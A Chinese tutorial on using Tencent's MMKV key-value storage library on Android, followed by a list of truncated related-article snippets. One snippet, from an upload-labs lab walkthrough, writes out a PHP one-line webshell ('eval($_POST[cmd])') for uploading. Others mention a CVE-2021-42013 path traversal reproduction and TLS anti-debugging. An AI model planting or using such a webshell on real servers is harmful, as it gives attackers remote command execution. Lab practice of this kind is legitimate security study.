一篇文章带你使用(MMKV--基于 mmap 的高性能通用 key-value 组件)

一、MMKV是什么?

MMKV 是基于 mmap 内存映射的 key-value 组件,底层序列化/反序列化使用 protobuf 实现,性能高,稳定性强。也是腾讯微信团队使用的技术。

支持的数据类型

  • 支持以下 Java 语言基础类型:
    • boolean、int、long、float、double、byte[]
  • 支持以下 Java 类和容器:
    • String、Set<String>
    • 任何实现了Parcelable的类型

二、MMKV的优点

1、 高性能:MMKV使用了一些技术手段,如mmap文件映射和跨进程通信的共享内存,以实现更高效的数据存取操作。MMKV的性能比SharedPreferences快数十倍,尤其在读写大量数据时效果更加明显。

profile_android_mini

2、小存储体积:这是因为MMKV使用了一种更高效的序列化算法,并且将数据存储在二进制文件中,避免了XML解析和序列化的开销。相同数据量情况下,MMKV的存储体积可以减少50%以上。

3、 跨进程共享:MMKV支持多进程间的数据共享,这对于需要在多个进程之间传递数据的应用程序非常有用。MMKV通过共享内存和文件锁定机制来确保跨进程读写数据的一致性和安全性。

4、API简单易用:MMKV提供了简洁、易用的API,使数据存取变得更加方便。

三、使用方法

官方文档:MMKV——基于 mmap 的高性能通用 key-value 组件

1、添加如下依赖:

implementation 'com.tencent:mmkv:1.3.1'

2、初始化MMKV

MMKV 的使用非常简单,所有变更立马生效,无需调用 syncapply。 在 App 启动时初始化 MMKV,设定 MMKV 的根目录(files/mmkv/)

例如:在您的应用程序的入口点(通常是Application类)中添加以下代码:

        String rootDir = MMKV.initialize(this);Log.e(TAG, "MMKV: "+rootDir);

这就是MMKV的存储路径

image-20231108210047549

3、存储和读取数据

3 .1 获取全局MMKV实例

MMKV提供了一个全局的实例,也就是说只需要在Application中加载一次就可以全局使用他了。

        //获取全局MMKVMMKV mmkv = MMKV.defaultMMKV();

3.2存储数据

int value = 1;
//存储数据
mmkv.encode("Id",value);

在这里可以看见MMKV是使用键值对的方法进行存储

image-20231108210428584

3.3 读取数据

        //读取数据int idValue =  mmkv.decodeInt("Id");Log.e(TAG, "idValue: "+idValue);

上述代码将从名为"Id"的键中读取存储的值并将其分配给value。

注意事项:MMKV可以存储各种类型的数据,包括String、Int、Float、Double、 ByteArray等。您只需要根据需要使用相应的encode和decode方法

image-20231108210713171

image-20231108210850700

3.4 删除数据

//删除数据
mmkv.remove("Id");//读取数据
int idValue =  mmkv.decodeInt("Id");
Log.e(TAG, "idValue: "+idValue);

image-20231108211050307

四、自定义MMKV

4.1 自定义mkkv的表名

如果不同业务需要区别存储,也可以单独创建自己的实例

String rootDir = MMKV.initialize(this);
Log.e(TAG, "MMKV: "+rootDir);MMKV kv = MMKV.mmkvWithID("MyID");
Log.e(TAG, "MMKV: "+kv);

注意一定要先initialize MMKV才能建立新的表

image-20231108212050176

image-20231108212041857

如果业务需要多进程访问,那么在初始化的时候加上标志位 MMKV.MULTI_PROCESS_MODE

MMKV kv = MMKV.mmkvWithID("InterProcessKV", MMKV.MULTI_PROCESS_MODE);

4.2 自定义MMKV路径

初始化时指定自定义的MMKV存储路径

        String rootDir = MMKV.initialize(this, "/sdcard/mymmkv");Log.e(TAG, "MMKV: "+rootDir);

image-20231108212341232

五、SharedPreferences 迁移

  • MMKV 提供了 importFromSharedPreferences() 函数,可以比较方便地迁移数据过来。
  • MMKV 还额外实现了一遍 SharedPreferencesSharedPreferences.Editor 这两个 interface,在迁移的时候只需两三行代码即可,其他 CRUD 操作代码都不用改。
        //获取SharedPreferences实例:SharedPreferences sharedPreferencesOld = getSharedPreferences("your_sharedPreferences_name", Context.MODE_PRIVATE);//调用importFromSharedPreferences()进行数据迁移:MMKV mmkv = MMKV.mmkvWithID("NewsharedPreferences");mmkv.importFromSharedPreferences(sharedPreferencesOld);//可选:删除旧的SharedPreferencessharedPreferencesOld.edit().clear().apply();

六、MKKV的缺点

1、导致ANT

因为是同步存储数据,因此小的数据读写非常快,但是大的数据读写就不如SP了,同步存储大的数据会使得主线程卡顿导致ANT。

2、无备份

由于直接在磁盘存储,所以如果系统出现问题会导致数据直接丢失,在这方面SP是有备份的。

3、不支持复杂的数据类型

但是也没必要存储复杂数据类型,SP也不支持复杂数据类型,后面用Room存储复杂的数据类型就行了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/135078.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第23章(上)_索引原理之索引与约束

文章目录 索引索引分类主键选择索引的代价 约束外键约束约束与索引的区别 索引使用场景不要使用索引的场景总结 索引 索引的概念&#xff1a;索引是一种有序的存储结构。索引按照单个或多个列的值进行排序。 索引的目的&#xff1a;提升搜索效率。 索引分类 按照数据结构分为…

蓝桥杯双周赛算法心得——串门(双链表数组+双dfs)

大家好&#xff0c;我是晴天学长&#xff0c;树和dfs的结合&#xff0c;其邻接表的存图方法也很重要。需要的小伙伴可以关注支持一下哦&#xff01;后续会继续更新的。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1) .串门 2) .算法思路 串门&#xff08;怎么存图很关键&#xf…

TLS回调函数

TLS在逆向中的作用 TLS回调函数常用于反调试 TLS先于EP代码执行 TLS是什么 TLS是各线程的独立的数据存储空间 使用TLS技术可以在线程内部独立使用或修改进程的全局数据或静态数据 创建和终止某进程时&#xff0c;TLS回调函数都会自动调用执行 使用OD调试TLS函数

ElasticSearch与Lucene是什么关系?Lucene又是什么?

一. ElasticSearch 与 Lucene 的关系 Elasticsearch&#xff08;ES&#xff09;和Apache Lucene之间有密切的关系&#xff0c;可以总结如下&#xff1a; Elasticsearch构建于Lucene之上&#xff1a;Elasticsearch实际上是一个分布式的、实时的搜索和分析引擎&#xff0c;它构建…

直击第一届中国测绘地理信息大会,华测导航强势出圈!

11月8日&#xff0c;由自然资源部指导&#xff0c;中国测绘学会、中国地理信息产业协会和中国卫星导航定位协会共同主办的第一届中国测绘地理信息大会于浙江德清盛大开幕&#xff0c;各家科研院所、企事业单位云集现场&#xff0c;展示科技创新成果。华测导航携多类智能装备及解…

推荐一款功能强大的在线文件预览工具-kkFileView

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一波电子书籍资料&#xff0c;包含《Effective Java中文版 第2版》《深入JAVA虚拟机》&#xff0c;《重构改善既有代码设计》&#xff0c;《MySQL高性能-第3版》&…

超好用的IDEA插件推荐

写完代码还得重复打字编写接口文档&#xff1f;代码量大定位接口定义方法太难找&#xff1f;麻烦&#xff01;写完代码还得复制粘贴到postman进行调试&#xff1f; 这三点太麻烦&#xff1f;今天给大家推荐一款IDEA插件&#xff0c;写完代码IDEA内一键生成API文档&#xff0c;…

企业如何落地搭建商业智能BI系统

随着新一代信息化、数字化技术的应用&#xff0c;引发了新一轮的科技革命&#xff0c;现代化社会和数字化的联系越来越紧密&#xff0c;数据也变成继土地、劳动力、资本、技术之后的第五大生产要素&#xff0c;这一切都表明世界已经找准未来方向&#xff0c;前沿科技也与落地并…

龙芯loongarch64服务器编译安装scipy

前言 根据我之前的文章介绍&#xff0c;龙芯loongarch64服务器中的很多python依赖包安装有问题&#xff0c;发现其中安装的"scikit-learn"就无法正常使用&#xff0c;所有这里在 pip3 install scikit-learn -U -i https://pypi.tuna.tsinghua.edu.cn/simple 的时候发…

如何卸载在linux下通过rpm安装的mysql

目录 1.先关闭MySQL服务并查看运行状态 2.使用 rpm 管道命令的方式查看已安装的mysql 3. 使用rpm -ev 命令移除安装 4. 删除MySQL数据库内容 1.先关闭MySQL服务并查看运行状态 如果之前安装过并已经启动&#xff0c;则需要卸载前请先关闭MySQL服务 systemctl stop mysqld…

Redis系列之常见数据类型应用场景

文章目录 String简单介绍常见命令应用场景 Hash简单介绍常见命令应用场景 List简单介绍常见命令应用场景 Set简单介绍常见命令应用场景 Sorted Set(Zset)简单介绍常见命令应用场景 Bitmap简单介绍常见命令应用场景 附录 Redis支持多种数据类型&#xff0c;比如String、hash、li…

Midway.js打通WebSocket前后端监听通道

您好&#xff0c; 如果喜欢我的文章或者想上岸大厂&#xff0c;可以关注公众号「量子前端」&#xff0c;将不定期关注推送前端好文、分享就业资料秘籍&#xff0c;也希望有机会一对一帮助你实现梦想 前言 WebSocket协议允许客户端和服务端持久化连接&#xff0c;这种可以持续…

MAC设备(M1)环境下编译安装openCV for Java

最近发现一个需求&#xff0c;可以用openCV来实现&#xff0c;碰巧又新买了mac笔记本&#xff0c;就打算利用业余时间安装下openCV。这里将主要步骤记录下&#xff0c;希望能帮助有需要的人。 1、准备编译环境 #查询编译opencv相关依赖 brew info opencv查询结果如下图所示&a…

docker容器中运行jar 出现invalid or corrupt jarfile

1&#xff0c;背景&#xff1a; 在本地java开发完毕之后&#xff0c;想要打包成docker镜像&#xff0c;方便安装。由于本地没有docker环境&#xff0c;也懒得装了。有一台测试的linux机器可以使用&#xff0c;所以先在本地打包生成xxx.jar&#xff0c;然后拷贝到有docker环境的…

openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果

文章目录 openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果117.1 前提条件117.2 背景信息117.3 操作步骤 openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果 117.1 前提条件 审计功能总开关已开启。需要审计的审计项开关已开…

upload-labs-1

文章目录 Pass-01 Pass-01 先上传一个正常的图片&#xff0c;查看返回结果&#xff0c;结果中带有文件上传路径&#xff0c;可以进行利用&#xff1a; 上传一个恶意的webshell&#xff0c;里面写入一句话木马&#xff1a; <?php eval($_POST[cmd]); echo "hello&quo…

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证方式一 curl方式二 bp抓捕 1.5、修复建议 说明内容漏洞编号CVE-2021-42013漏洞名称…

【Node.js入门】1.1Node.js 简介

Node.js入门之—1.1Node.js 简介 文章目录 Node.js入门之—1.1Node.js 简介什么是 Node.js错误说法 Node.js 的特点跨平台三方类库自带http服务器非阻塞I/O事件驱动单线程 Node.js 的应用场合适合用Node.js的场合不适合用Node.js的场合弥补Node.js不足的解决方案 什么是 Node.j…

Java连接数据库并查询表中的全部数据

1、导入相关jar包 这里创建简单的maven项目&#xff0c;我们导入相关的jar包 相关依赖&#xff1a; <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>5.1.47</version></dependenc…

React进阶之路(一)-- JSX基础、组件基础

文章目录 React介绍React开发环境搭建项目目录说明以及相关调整 JSX基础JSX介绍JSX中使用js表达式JSX列表渲染JSX条件渲染JSX样式处理JSX注意事项 组件基础组件的概念函数组件类组件事件绑定如何绑定事件获取事件对象传递额外参数 组件状态状态不可变表单处理受控表单组件非受控…